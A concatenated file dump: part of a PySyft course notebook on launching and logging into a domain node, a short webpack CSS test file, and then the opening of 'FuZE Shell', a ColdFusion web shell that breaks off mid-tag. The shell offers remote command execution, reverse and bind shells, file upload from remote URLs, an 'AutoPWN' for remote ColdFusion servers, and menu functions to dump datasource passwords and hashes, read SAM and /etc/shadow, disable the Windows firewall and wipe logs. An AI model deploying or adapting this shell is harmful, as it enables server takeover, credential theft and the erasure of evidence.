href=\"https://docs.conda.io/projects/conda/en/latest/user-guide/install/index.html\">this link</a>.\n", "\n", "Once that's done, you can create a new env (named <i>lab</i> below) using the following commands into your terminal:" ] }, { "cell_type": "markdown", "id": "45c692ff-a801-41c7-9c0a-c7e837420c96", "metadata": {}, "source": [ "```\n", "# Using Conda as an example\n", "conda create -n lab python=3.9\n", "# Activate it:\n", "conda activate lab\n", "\n", "# Note: to exit the current env, you can use the following command:\n", "conda deactivate lab\n", "```" ] }, { "cell_type": "markdown", "id": "04f39c22-da4b-473c-8ce7-a93349d66ce2", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "bf4c3d61", "metadata": {}, "source": [ "### <b>3. Install & launch HAGrid</b>\n", "\n", "As mentioned above, HAGrid helps us to deploy a domain or network node via only one command line. This makes it easy for you to focus on what's important: handling the data and training the model." ] }, { "cell_type": "markdown", "id": "f6c9aba1-b56e-49fa-bb3a-c40412f07cef", "metadata": {}, "source": [ "Launch HAGrid specifying the name and the type of the node. \n", "The type of the node can be either a 'domain' node, or a 'network' node. For now, we're only working with domain nodes- but you'll learn and see more about network nodes very shortly!\n", "```\n", "# Create a domain node named \"local_node\"\n", "hagrid launch local_node\n", "```" ] }, { "cell_type": "markdown", "id": "d5c262c2-f647-4a49-bf72-67b3b9a36563", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "53b80143", "metadata": {}, "source": [ "### <b>4. Login to the Domain!</b>\n", "\n", "\n", "<i>Voila!</i> You now have a working domain node. You can manage your deployment as a data owner either in the browser through the PyGrid Admin UI, by doing requests to the available endpoints using the REST API and Postman or directly interact with from code in a Jupyter Notebook like this one!\n", "\n", "\n", "##### Using PyGrid Admin UI\n", "To navigate to the Admin UI, go to <b>localhost:port_number</b> in your browser (port_number is 8081 by default) and login with your credentials.\n", "\n", "The default username and password are as follows:\n", "\n", "- Username: <b> info@openmined.org </b>\n", "- PW: <b> changethis </b>\n", "\n", "\n", "##### Using Postman\n", "If you would like to interact with the node via requests, the available endpoints can be found at<a href=\"http://localhost:8081/api/v1/openapi.json/\">localhost:port_number/api/v1/openapi.json/</a>.\n", "To access them in Postman, the following environment variables need to be set:\n", "- baseUrl: <b> localhost:port_number </b>\n", "- login_email: <b> info@openmined.org </b>\n", "- login_password: <b> changethis </b>\n", "- auth_token: <b> described below </b>\n", "\n", "To obtain the auth token, you can do a POST request at {{<b>baseUrl</b>}}/api/v1/openapi.json containing the <i>email</i> and <i>passowrd</i> fields.\n", "\n", "##### Using the Jupyter Notebook\n", "PySyft provides a programatic interface to easily manage and work with your node without worrying about the endpoints.\n", "\n", "Connecting to the domain node, it is as easy as running:" ] }, { "cell_type": "code", "execution_count": 1, "id": "57c7fe20", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Connecting to http://localhost:8081... done! \t Logging into adp... done!\n" ] } ], "source": [ "import syft as sy\n", "domain = sy.login(email='info@openmined.org', password='changethis', port=8081)" ] }, { "cell_type": "markdown", "id": "ae9c5ddf", "metadata": {}, "source": [ "To query the domain, you can look into the following:" ] }, { "cell_type": "code", "execution_count": 2, "id": "70ca8995", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>ID</th>\n", " <th>Tags</th>\n", " <th>Description</th>\n", " <th>object_type</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>&lt;UID: 186030b7d825441ea9ca78819bab8b43&gt;</td>\n", " <td>[#0]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>&lt;UID: e854f255bdb04bd7a262c90b3e45be15&gt;</td>\n", " <td>[#1]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>&lt;UID: b21ad0fedc3b42f8a6457961c392fd62&gt;</td>\n", " <td>[#2]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>&lt;UID: cb8e4638e0154717b4b311ab391739e7&gt;</td>\n", " <td>[#3]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>&lt;UID: 63284b433b53492eadd4d2541add8cf8&gt;</td>\n", " <td>[#4]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td>&lt;UID: cb77798fe7ec4c8dad3143b6ffb31da4&gt;</td>\n", " <td>[#5]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td>&lt;UID: fc73e51fffdd4cbaa85b1be56e1cd480&gt;</td>\n", " <td>[#6]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td>&lt;UID: acb65e93b4b84a51b906b9c6602979ad&gt;</td>\n", " <td>[#7]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td>&lt;UID: d8ccd58d062c475ca60e6c7aa6207da9&gt;</td>\n", " <td>[#8]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td>&lt;UID: b00ebdaf469e421084e62d69ea678b03&gt;</td>\n", " <td>[#9]</td>\n", " <td></td>\n", " <td>&lt;class 'syft.core.tensor.tensor.Tensor'&gt;</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "[<TensorWrappedSingleEntityPhiTensorPointer -> adp:186030b7d825441ea9ca78819bab8b43>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:e854f255bdb04bd7a262c90b3e45be15>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:b21ad0fedc3b42f8a6457961c392fd62>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:cb8e4638e0154717b4b311ab391739e7>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:63284b433b53492eadd4d2541add8cf8>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:cb77798fe7ec4c8dad3143b6ffb31da4>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:fc73e51fffdd4cbaa85b1be56e1cd480>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:acb65e93b4b84a51b906b9c6602979ad>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:d8ccd58d062c475ca60e6c7aa6207da9>, <TensorWrappedSingleEntityPhiTensorPointer -> adp:b00ebdaf469e421084e62d69ea678b03>]" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "domain.store" ] }, { "cell_type": "code", "execution_count": 3, "id": "bfb09efa", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "[]" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "domain.requests" ] }, { "cell_type": "code", "execution_count": 4, "id": "1ab26aeb", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>added_by</th>\n", " <th>allocated_budget</th>\n", " <th>budget</th>\n", " <th>budget_spent</th>\n", " <th>created_at</th>\n", " <th>daa_pdf</th>\n", " <th>email</th>\n", " <th>id</th>\n", " <th>institution</th>\n", " <th>name</th>\n", " <th>role</th>\n", " <th>verify_key</th>\n", " <th>website</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>&lt;syft.lib.python._SyNone object at 0x7f9c79e52...</td>\n", " <td>0.0</td>\n", " <td>5.55</td>\n", " <td>0.000000</td>\n", " <td>2021-11-01 05:24:06.991358</td>\n", " <td>&lt;syft.lib.python._SyNone object at 0x7f9c79e52...</td>\n", " <td>info@openmined.org</td>\n", " <td>1</td>\n", " <td>&lt;syft.lib.python._SyNone object at 0x7f9c79e52...</td>\n", " <td>Jane Doe</td>\n", " <td>Owner</td>\n", " <td>e07db5d214010770d9146551d4dc4f3daf1bb7d9c89e66...</td>\n", " <td>&lt;syft.lib.python._SyNone object at 0x7f9c79e52...</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>Jane Doe</td>\n", " <td>0.0</td>\n", " <td>100.00</td>\n", " <td>4.885616</td>\n", " <td>2021-11-01 05:27:59.352133</td>\n", " <td>1</td>\n", " <td>sheldon@caltech.edu</td>\n", " <td>2</td>\n", " <td></td>\n", " <td>Sheldon Cooper</td>\n", " <td>Data Scientist</td>\n", " <td>eff162ee3f57400fb11d204cdbfd625d58b229901fdb23...</td>\n", " <td></td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "<syft.core.node.common.client_manager.user_api.UserRequestAPI at 0x7f9c72f7d9d0>" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "domain.users" ] }, { "cell_type": "markdown", "id": "7477266a-bc95-4cdf-bb51-cbd6508c41b1", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "6c86ed01", "metadata": {}, "source": [ "### 5. Stop the node" ] }, { "cell_type": "markdown", "id": "376add7b-9812-4092-b18b-a2a2a853e5f8", "metadata": {}, "source": [ "To stop and remove all the Docker Containers associated with the Domain Node, run this command on our Terminal:\n", "```\n", "hagrid land local_node\n", "```\n" ] }, { "cell_type": "markdown", "id": "d443d4a3-792e-49ce-8651-996e037cda50", "metadata": {}, "source": [ "<hr>" ] }, { "cell_type": "markdown", "id": "dbea3bef-dad5-4553-987b-80951be99469", "metadata": {}, "source": [ "# Congratulations!\n", "\n", "You've learned how to deploy a domain node, and along the way, you've learned about important tools like Docker and Virtual Environments!\n", "If you're interested in some tips and tricks for quality of life improvements, please head to the L4_Deployment_Tricks notebook.\n", "\n", "Otherwise, please continue to the second half of Lesson 4, which focuses on <b> Node Maintenance! </b>" ] }, { "cell_type": "markdown", "id": "e77bb88f-0c74-4e77-99d0-f82e9d97fbfb", "metadata": {}, "source": [ "<hr>\n", "<hr>" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.7" } }, "nbformat": 4, "nbformat_minor": 5 }

Jupyter Notebook

vishalbelsare/PySyft

notebooks/course3/L4_DeployNode.ipynb

body { background: url(//example.com/image.png) url(https://example.com/image.png); background-image: url(http://example.com/image.png); }

CSS

acidburn0zzz/webpack

test/configCases/css/external/style2.css

<html> <!--- #======================================# # DeV: XiX .### 9/26/11 # # # # # ### /##/ # # # ,# # # v3r 1.2 \#####` # #======================================# # FuZE # #======================================# # # # Changes in this release: # # > AutoPWN improved # # # # ThX ^_^: # # > fractal - css & jquery # # > chippy1337 # # > MoJiNao, xXx, & Seraph # # # #======================================# ---> <!--- _________Login_config_________ ----> <cfset UserName="god"> <cfset Password="c21f969b5f03d33d43e04f8f136e7682"> <!--- MD5 ---> <!--- ------------------------------ ----> <head> <cfsetting requesttimeout="3600"> <cfset tickBegin = GetTickCount()> <cfset so = CreateObject("java", "java.lang.System")> <cftry> <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect"> <cfcatch type="any"> <cftry> <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create"> <cfcatch> <!--- N/A ---> </cfcatch> </cftry> </cfcatch> </cftry> <cfif isDefined("FSO")><cfset Drives = FSO.Drives></cfif> <cfset icon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAESElEQVR42u2VW0ibZxzG3y/xEKPxlFjrYSqWFkXxgPUAzjCJurkLW+rooL3pTe9Km4uW3ll3V+YYyOjN2EAEUQRjMjwNhI0Zg0zCrAYRvHCIh0HUiOdj0uf5yFe0cTUbpr3xhZd8id/7Pr//8z8oiY+8pEuAjyFaVlamPT4+jnQ6nZ4PBmAymXITExMfxMTE1Gq12pylpaU/e3t7Pws5QG1trSEuLu77vLy8e7GxsWr+dnR0JCYnJ3/t6Oj4IqQA9fX1BVlZWX3Z2dmfhIeHC5VKJWC9ODg4EBMTE7bOzs7bIQOoq6u7npOT40hPTzco4j6fTxweHoq9vT0xOzvb3d7e/nVIAIxGowaRj+fm5uZHRES8jZx7YWHh7/X19WG32z04NDRkCQkAon9RWVnZrNFohFqtloV3d3cPZ2ZmHm9sbPw4MDDgVd69cIDy8nJ9UVHRHKzXMXraToDp6Wkziq713fcvHADt9ryiouJlVFSUCAsLkyt+eXn5t8XFRZPVavWFHKCxsdGF3OfRfkmShNfrFePj41+tra05t7a2jlCQHnzf/leA0tLSOFh3F71rwmc+oriCIlLzIn8uJ1E81WeJl5SU3EAKZjBwpMjISBmADuCM2NnZEdvb22J+ft48PDzcGgCAwxKozWlpac3JycmxtI/Vy0u4KL6/vy8YSVdX182zAKqrq5uQ/28w6QRbj4s1QIjNzU3hcDj4bMYMCARA1f4A6x7xsCKuXMDFS9i/Ho/H2d3dHQBQWFgoZWZmzl7Dov1K3xMc+Rcul0usrKyI+Ph4M55PA+Dw5wUFBYMYlRIrV4mYorReiYITDDY6LRZLAAAc/LK4uLgfs16OngOHwnNzcwKtJ8MzDampqWaM4dMAsM2G3cDDSuQomD9woAeiB4RQQJBPN3LYc4b9Iwj+Uwqtrq7KogjmW6TtH8IwAL8jv09NTf11CgA5X05KSrpqMBgE2wcgDuhW2Ww2rwhiYerdQtFaOXQYACHw/fXo6GjReWdlgJSUlF2IayhOWgB8NzIy8iwYcaROj6gmUDvpBGCh0i3cdWdsbKw3KAA4sASAFBYgc48L7HDAiOnle99h2K5DtH1oOSPFWSOY8wK1ZEf0VcEEIAPAfltCQkKDTqeTLWQUyJkF3fAz9jFyyRZVQUhCganYJWjPq3jnKYRvsFXpHPOO530EcdNut7uCBtDr9bcQvRUtItcAo+Gl/GRFs6242SHc/F15h3YTmH3OgYP3zf39/a3BiL8F4EIKrMg9i4k1IINwU1h55nRTALiU4URxTjn87Sf8w3kYrPgpAKRBC/pOONFAJ5BHwZRER0fLm/VBGEIQgC1FcQojFayVV2jbJ21tbUF1TgAAV0ZGhgSx+xB7Doh8BYKOKBAEYA34e9oHiNcQftHS0vLLfxE+E+DkqqmpyUJhxp90wZ8Gye+ADx3gbmpqWvw/wucCfKh1CXAJ8AZf/R8/6E7SXwAAAABJRU5ErkJggg=="> <cfset icon_close = "data:image/gif;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCAANAA0DASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAABgT/xAAlEAACAgAEBQUAAAAAAAAAAAABAwIEAAUREgYHIUFhEzFCcaH/xAAVAQEBAAAAAAAAAAAAAAAAAAAGB//EABgRAQADAQAAAAAAAAAAAAAAAAEAAgMR/9oADAMBAAIRAxEAPwA9SsMvZrdQqw9Ta9iQkfUkYSju/D474Kc1cxLnZfBLGRiuLB1kdT1j1OD93i67ZezYlaFSdJ2yBOpkSTqT3I9h9Yi4lzuxnDkusLhGcI7TKPz8nzisNunIezxa2Fn/2Q=="> <title>.:: &fnof;uZE Shell ::.</title> <link rel="SHORTCUT ICON" href="<cfoutput>#icon#</cfoutput>"> <style type="text/css"> html,body{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;background-color:black;color:#bbbbbb;height:98%;overflow:inherit} table.header-table td { padding:10px; border-width:5px; border-style:outset; } table.content-table td { padding:10px; border-width:5px; border-style:outset; } table.function-table td { padding:10px; border-width:5px; border-style:outset; } textarea.report { width:100%;min-width:400px;background-color:black;color:#bbbbbb; } #mask { position:absolute; z-index:9000; background-color:#000; display:none; } #boxes .window { position:fixed; left:0; top:0; width:530px; display:none; z-index:9999; padding:20px; background-color:black;color:#bbbbbb;border-left:solid 1px #00009f;border-right:solid 1px #00009f;border-bottom:solid 1px #00009f; } #layer1_handle{position:relative;background-color:#00009F;padding:2px;text-align:center;color:#FFF;vertical-align:middle;top:-35px;margin-left:-21px;margin-right:-21px;} #_close{float:right;text-decoration:none;color:#FFF;} #_color{background-color:black;color:#bbbbbb;} #nav a{height:14px;display:block;border:1px solid #000;color:#FFF;text-decoration:none;background-color:#000098;padding-bottom:5px} #nav a:hover{background-color:#696AF6;color:#FFF} ._btn{padding:0;margin:0;width:80px;font-size:12px;background-color:#0000B0;color:#bbbbbb;} .container{position:relative;top:-115px;text-align:center;font-size:14px;float:right;} .menu{position:relative;top:-21px;height:20px;width:280px;float:right;padding-top:5px;padding-bottom:5px;} </style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script> <script> $(document).ready(function() { //select all the a tag with name equal to modal $('a[name=modal]').click(function(e) { //Cancel the link behavior e.preventDefault(); //Get the A tag var id = $(this).attr('href'); //Get the screen height and width var maskHeight = $(document).height(); var maskWidth = $(window).width(); //Set height and width to mask to fill up the whole screen $('#mask').css({'width':maskWidth,'height':maskHeight}); //transition effect $('#mask').fadeIn(1000); $('#mask').fadeTo("slow",0.8); //Get the window height and width var winH = $(window).height(); var winW = $(window).width(); //Set the popup window to center $(id).css('top', winH/2-$(id).height()/2); $(id).css('left', winW/2-$(id).width()/2); //transition effect $(id).fadeIn(2000); }); //if close button is clicked $('.window .close').click(function (e) { //Cancel the link behavior e.preventDefault(); $('#mask, .window').hide(); }); //if mask is clicked $('#mask').click(function () { $(this).hide(); $('.window').hide(); }); }); </script> </head> <body> <cfif IsDefined("LoginButton")> <cfif Form.UserName eq "#UserName#" and Hash("#Form.Password#") eq "#Password#"> <cflogin> <cfloginuser name="#UserName#" password="#Password#" roles="admin"> </cflogin> </cfif> </cfif> <cfif IsDefined("LogoutButton")> <cflogout> </cfif> <cfif IsUserLoggedIn() eq "Yes"> <div id="boxes"> <div id="execute" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Console</div> <center><pre>:: Execute command on server ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <input type="text" id="_color" name="exec" size=40 <cfif isdefined("Form.exec")>value="<cfoutput>#htmleditformat(Form.exec)#</cfoutput>"</cfif>> <input name="submit" value="Execute" class="_btn" type="submit"><br /> <input type=checkbox name="nolimit"> No execution time limit </form><br /> </div> <div id="edit" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Edit</div> <center><pre>:: Edit file ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> File path | <input type="text" id="_color" name="EditFile" size=40 <cfif isDefined("Form.EditFile")>value="<cfoutput>#htmleditformat(Form.EditFile)#</cfoutput>"</cfif>> <input name="submit" value="Edit" class="_btn" type="submit"> </form><br /> </div> <div id="reverse" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Reverse Shell</div> <center><pre>:: Reverse shell ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <center><input type="text" id="_color" name="reverseip" size=15 <cfif isDefined("Form.reverseip")>value="<cfoutput>#htmleditformat(Form.reverseip)#</cfoutput>"</cfif>> : <input type="text" id="_color" name="reverseport" size=5 <cfif isDefined("Form.reverseport")>value="<cfoutput>#htmleditformat(Form.reverseport)#</cfoutput>"</cfif>> <input name="submit" value="Connect" class="_btn" type="submit"></center> </form> </div> <div id="bind" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Bindshell</div> <center><pre>:: Bindshell ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <center>[1024-65535] <input type="text" id="_color" name="bindport" size=10 <cfif isdefined("Form.bindport")>value="<cfoutput>#htmleditformat(Form.bindport)#</cfoutput>"</cfif>> <input name="submit" value="Bind" class="_btn" type="submit"> <a href="data:text/html;base64,PGh0bWw+Cjxib2R5Pgo8aDI+VGlwczwvaDI+Cjx1bD4KPGxpPkRpc2FibGUgdGhlIGZpcmV3YWxsIGJlZm9yZSB1c2luZyB0aGlzIGZ1bmN0aW9uIChuZXRzaCBmaXJld2FsbCBzZXQgb3Btb2RlIGRpc2FibGUpLjwvbGk+CjxsaT5EbyBub3Qgc3RvcCB0aGUgcmVxdWVzdCBvciB0aGUgYmluZHNoZWxsIHdpbGwgZmFpbCwgYW5kIHlvdSB3aWxsIG5lZWQgdG8gdXNlIGFub3RoZXIgcG9ydDwvbGk+CjxsaT5UaGUgYmluZHNoZWxsIG9ubHkgYWNjZXB0cyB2YWxpZCBleGVjdXRhYmxlcyBmcm9tIHdpdGhpbiB0aGUgT1MncyBkZWZpbmVkIFBBVEhzLiBNYWtlIHN1cmUgaXQgZXhpc3RzLCBhbmQgaXQgaXMgaW4gb25lIG9mIHRoZSBkaXJlY3RvcmllcyBkZWZpbmVkIGJ5IHRoZSBlbnZpcm9ubWVudCAncGF0aCcgdmFyaWFibGUuIEZvciBleGFtcGxlIChXaW5kb3dzKSwgJ2RpcicgZG9lcyBub3QgZXhpc3QsIGJ1dCAnaG9zdG5hbWUnIGRvZXMuPC9saT4KPGxpPlRoaXMgaXMgYSBWRVJZIHVuc3RhYmxlIENGIGJpbmRzaGVsbCAocHJvdG90eXBlKSEgTGF0ZXIgcmVsZWFzZXMgd2lsbCBmaXggdGhlIHZhcmlvdXMgaXNzdWVzIGluIHRoZSBwcmVzZW50IG9uZS48L2xpPgo8L3VsPgo8L2JvZHk+CjwvaHRtbD4K"> [Tips]</a></center> </form> </div> <div id="functions" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Functions</div> <center><pre>:: Functions ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <select name="function" style="width: 325px"> <option selected="yes">Select a function</option><optgroup label="ColdFusion"><option>Dump datasource passwords</option><option>Dump CF hashes</option><option>Restart JRUN server (CF)</option><option>Wipe ColdFusion logs</option></optgroup><optgroup label="Windows"><option>Disable Windows firewall</option><option>Enable Telnet service</option><option>Show opened ports [W]</option><option>Read SAM</option><option>Read SECURITY</option><option>Read SYSTEM</option><option>Read IIS paths</option><option>View open sessions [W]</option><option>View local shares</option><option>View domain shares</option><option>View users</option><option>View running processes [W]</option><option>View system info [W]</option><option>Check disk for consistency</option></optgroup><optgroup label="Linux"><option>Find SUID files</option><option>Find SGID files</option><option>Find all *conf* files</option><option>Find all .*_history files</option> <option>Find all *.pwd files</option><option>Find all .*rc files</option><option>Find all writable directories and files</option><option>Find all writable directories and files in current dir</option><option>Read /etc/passwd</option><option>Read /etc/shadow</option><option>Read /proc/self/environ</option><option>Show opened ports [L]</option><option>View open sessions [L]</option><option>View recent sessions</option><option>View running processes [L]</option> <option>View memory info</option><option>View CPU info</option><option>View system info [L]</option></optgroup></select><input name="submit" value="Execute" class="_btn" type="submit"></form> </div> <div id="decrypt" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Decrypter</div> <center><pre>:: CF hash decrypter ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> B64 CF hash | <input type="text" id="_color" name="decrypt_hash" size=35 <cfif isdefined("Form.decrypt_hash")>value="<cfoutput>#htmleditformat(Form.decrypt_hash)#</cfoutput>"</cfif>> <input name="submit" value="Decrypt" class="_btn" type="submit"> </form> </div> <div id="updown" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>File Transfer</div> <center><pre>:: Upload/Download files on server ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" enctype="multipart/form-data" name="Upload" id="Upload"><center> <input type="file" name="File"/> <input class="_btn" type="submit" name="Upload" value="Upload"/></center> </form> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> Path | <input type="text" id="_color" name="Download" size=40 <cfif isDefined("Form.Download")>value="<cfoutput>#htmleditformat(Form.Download)#</cfoutput>"</cfif>> <input name="submit" value="Download" class="_btn" type="submit"> </form> </div> <div id="upremote" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Remote upload</div> <center><pre>:: Upload files from remote server ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> URL | <input type="text" id="_color" name="RUpload" size=40 <cfif isDefined("Form.RUpload")>value="<cfoutput>#htmleditformat(Form.RUpload)#</cfoutput>"</cfif>> <input name="submit" value="Upload" class="_btn" type="submit"> </form> </div> <div id="runsql" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Sql</div> <center><pre>:: Run SQL query ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> SQL query | <input type="text" id="_color" name="exec_sql" size=35<cfif isdefined("Form.exec_sql")>value="<cfoutput>#htmleditformat(Form.exec_sql)#</cfoutput>"</cfif>><br /> Datasource | <input type="text" id="_color" name="datasource" size=15<cfif isdefined("Form.datasource")>value="<cfoutput>#htmleditformat(Form.datasource)#</cfoutput>"</cfif>><br /> User : Pass | <input type="text" id="_color" name="db_username" size=15 <cfif isdefined("Form.db_username")>value="<cfoutput>#htmleditformat(Form.db_username)#</cfoutput>"</cfif>><input type="text" id="_color" name="db_password" size=15 <cfif isdefined("Form.db_password")>value="<cfoutput>#htmleditformat(Form.db_password)#</cfoutput>"</cfif>><br /> <input name="submit" value="Run" class="_btn" type="submit"> </form> </div> <div id="scanlan" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Scan</div> <center><pre>:: Scan LAN for CF ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> <center><input name="cfscan" value="Scan" class="_btn" type="submit"></center> </form> </div> <div id="registry" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>Registry</div> <center><pre>:: Registry ::</pre></center> <form method="post" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"><table> <tr><td>Path | </td><td><input name="regpath" type="text" id="_color" size="40" value="<cfif isDefined("Form.regpath")><cfoutput>#htmleditformat(Form.regpath)#</cfoutput><cfelse>HKEY_LOCAL_MACHINE\</cfif>" /></td></tr><tr> <td>Key | </td><td><input type="text" id="_color" name="Entry" size="15" <cfif isDefined("Form.Entry")>value="<cfoutput>#htmleditformat(Form.Entry)#</cfoutput>"</cfif> /></td></tr><tr> <td>New key | </td><td><input type="text" id="_color" name="newentry" size="15" <cfif isDefined("Form.newentry")>value="<cfoutput>#htmleditformat(Form.newentry)#</cfoutput>"</cfif> /></td></tr></table> <select name="regtype"> <option value="dWord">dWord</option> <option value="string">string</option> </select> <br /> <input class="_btn" type="submit" name="Submit" value="Submit" /> </form> </div> <div id="autopwn" class="window"> <div id="layer1_handle"><a href="#" id="_close" class="close"><img src="<cfoutput>#icon_close#</cfoutput>" border=0></a>AutoPWN</div> <center><pre>:: AutoPWN remote CF ::</pre></center> <form method="POST" action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>"> Target | http://<input type="text" id="_color" name="target_host" size=40 <cfif 